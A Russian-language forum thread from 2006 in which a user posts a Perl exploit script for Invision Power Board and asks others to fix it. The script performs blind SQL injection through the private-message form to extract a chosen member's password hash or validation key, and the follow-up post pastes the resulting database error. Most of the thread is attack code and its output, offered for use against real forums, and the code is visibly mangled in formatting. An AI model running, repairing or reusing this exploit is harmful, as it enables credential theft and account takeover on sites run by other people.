Форумы Volidation key

Discussion in 'Уязвимости CMS/форумов' started by add, 17 Jul 2006.

  1. add

    add Banned

    Joined:
    4 Jul 2006
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Скажите плиз как исправить ошибку в сплоите .если вам не трудно выложите исправленый сплойт плиз:)
    PHP:
    #!/usr/bin/perl 
    use HTTP::Cookies
    use 
    LWP 5.64
    use 
    HTTP::Request
     
    my $login_page '?act=Login&CODE=01'
    my $pm_page '?act=Msg&CODE=04'
    my $pose_pm_page '?'
    my $tries 5
    my $sql ''
    my $hash ''
    my $need_null 0
    my $i
    my $j
    my @charset = ('0' .. '9''a' .. 'f'); 
    my %form = (act      => 'Msg'
       
    CODE      => '04'
       
    MODE      => '01'
       
    OID      => ''
       
    removeattachid   => ''
       
    msg_title   => 'asdf'
       
    bbmode      => 'normal'
       
    ffont      => 0
       
    fsize      => 0
       
    fcolor      => 0
       LIST      => 
    ' LIST '
       
    helpbox      => 'Insert Monotype Text (alt + p)'
       
    tagcount   => 0
       
    Post      => 'jkl'); 
    my $ua LWP::UserAgent->new
    my $cj HTTP::Cookies->new (file => "N/A"autosave => 0); 
    my $resp
    $ua->cookie_jar ($cj); 
    push @{ $ua->requests_redirectable }, "POST"
    print 
    "+-------------------------------------------------------------------------+\n"
    print 
    "| IPB Validation Key & Pass Exploit                                       |\n"
    print 
    "|                                                                         |\n"
    print 
    "| |Exploit Found & Researched By 3l3ctr1c and Demmo                       |\n"
    print 
    "|                                                                         |\n"
    print 
    "| |Possible Idea Given By SHAK                                            |\n"
    print 
    "| |Perl Modification By ReZEN of xorcrew                                  |\n"
    print 
    "|                                                                         |\n"
    print 
    "|                                                                         |\n"
    print 
    "|                                                                         |\n"
    print 
    "|                                                                         |\n"
    print 
    "| For Information On How To Use This Exploit Visit the Above given URL(s) |\n"
    print 
    "|                                                                         |\n"
    print 
    "|                                                                         |\n"
    print 
    "+-------------------------------------------------------------------------+\n"
    print 
    'IPB Forum URL ? '
    chomp (my $base_url = <STDIN>); 
    print 
    'Your username ? '
    chomp (my $user = <STDIN>); 
    $form{entered_name} = $user
    print 
    'Your pass ? '
    chomp (my $pass = <STDIN>); 
    print 
    'Target userid ? '
    chomp (my $tid = <STDIN>); 
    print 
    "Type: ? \n 0. Password Hash \n 1. Validation Key Hash\n"
    chomp (my $type = <STDIN>); 
    if (
    $base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } 
    if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' } 
    do { 
       
    $resp $ua->post ($base_url $login_page
          [ 
    UserName => $user
            
    PassWord => $pass
            
    CookieDate => 1
          ]); 
    } while (
    $tries-- && !$resp->is_success()); 
    $tries 5
    if (!
    $resp->is_success()) { die 'Error: ' $resp->status_line "\n" 
    if (
    $resp->content =~ /sorrythe password was wrong/i) { 
       die 
    "Error: password incorrect.\n"

    do { 
       
    $resp $ua->get ($base_url $pm_page); 
    } while (
    $tries-- && !$resp->is_success()); 
    $tries 5
    if (!
    $resp->is_success()) { die 'Error: ' $resp->status_line "\n" 
    if (
    $resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#) 

       
    $form{post_key} = $1
    } else { 
       die 
    "Error: couldn't get a post key.\n"

    if (
    $resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#) 

       
    $form{auth_key} = $1

    $| = 
    1
    print 
    "\nAttempting to extract hash from database...\n "
    OFFSET
    for (
    $i 0$i 32; ++$i) { 
       
    CHAR
       for (
    $j 0$j < @charset; ++$j) { 
          
    $tries 5
          print 
    "\x08"$charset[$j]; 
          
    $vid "vid"
     
          if(
    $type){ 
          
    $sql '-1 UNION SELECT ' . ($need_null '0, ' '') . 'CHAR(' 
               
    . (join (','map {ordsplit (''$user))) . ') FROM ' 
               
    'ibf_validating WHERE member_id = ' $tid ' AND MID(' 
               
    'vid, ' . ($i 1) . ', 1) = CHAR(' 
               
    ord ($charset[$j]) . ')'
               }else{ 
          
    $sql '-1 UNION SELECT ' . ($need_null '0, ' '') . 'CHAR(' 
               
    . (join (','map {ordsplit (''$user))) . ') FROM ' 
               
    'ibf_members WHERE id = ' $tid ' AND MID(' 
               
    'member_login_key, ' . ($i 1) . ', 1) = CHAR(' 
               
    ord ($charset[$j]) . ')'
               } 
     
          
    $form{from_contact} = $sql
     
          
    $resp $ua->post ($base_url $post_pm_page, \%form
             
    referer => $base_url $pm_page); 
          if (!
    $resp->is_success()) { 
             die 
    "\nError: " $resp->status_line 
               
    "\n" if (!$tries); 
             --
    $tries
             
    redo
          } 
          if (
    $resp->content =~ /sql error/i) { 
             if (
    $need_null) { 
                die 
    "Error: SQL error.\n".$resp->content 
             } else { 
                
    $need_null 1
                print 
    $resp->content
                
    redo OFFSET
             } 
          } 
    elsif ($resp->content !~ /there is no such member/i) { 
             print 
    ' '
             
    next OFFSET
          } 
       } 
       die 
    "\nError: couldn't get a char for offset $i\n"

    print 
    "\x08 \x08\nHit enter to quit.\n"
    <
    STDIN>;
    P/s:Зарание блогодарен
     
  2. add

    add Banned

    Joined:
    4 Jul 2006
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Вот что оно мне в конце выдаёт :

    Attempting to extract hash from database...
    0<html><head><title>IPS Driver Error</title>
    <style>P,BODY{ font-family:arial,sans-serif; font-size:11px;
    }</style></head><body>
    &nbsp;<br><br><blockquote><b>There appears to be an error wit
    h the database.</b><br>
    You can try to refresh the page by clicking <a href="javascri
    pt:window.location=window.location;">here</a>.
    <br><br><b>Error Returned</b><br>
    <form name='mysql'><textarea rows="15" cols="60">mySQL query
    error: SELECT name, members_display_name FROM ibf_members WHERE id=-1 UNION SELE
    CT CHAR(49,50,51) FROM ibf_validating WHERE member_id = 1 AND MID(vid, 1, 1) = C
    HAR(48)

    SQL error: The used SELECT statements have a different number of columns
    SQL error code:
    Date: Monday 17th of July 2006 11:14:35 PM</textarea></form><br>We apologise for
    any inconvenience</blockquote></body></html00000000000000000000000000000000
    Hit enter to quit.
     
  3. liauliau

    liauliau Member

    Joined:
    9 Apr 2005
    Messages:
    30
    Likes Received:
    6
    Reputations:
    -1
    http://forum.antichat.ru/thread20885.html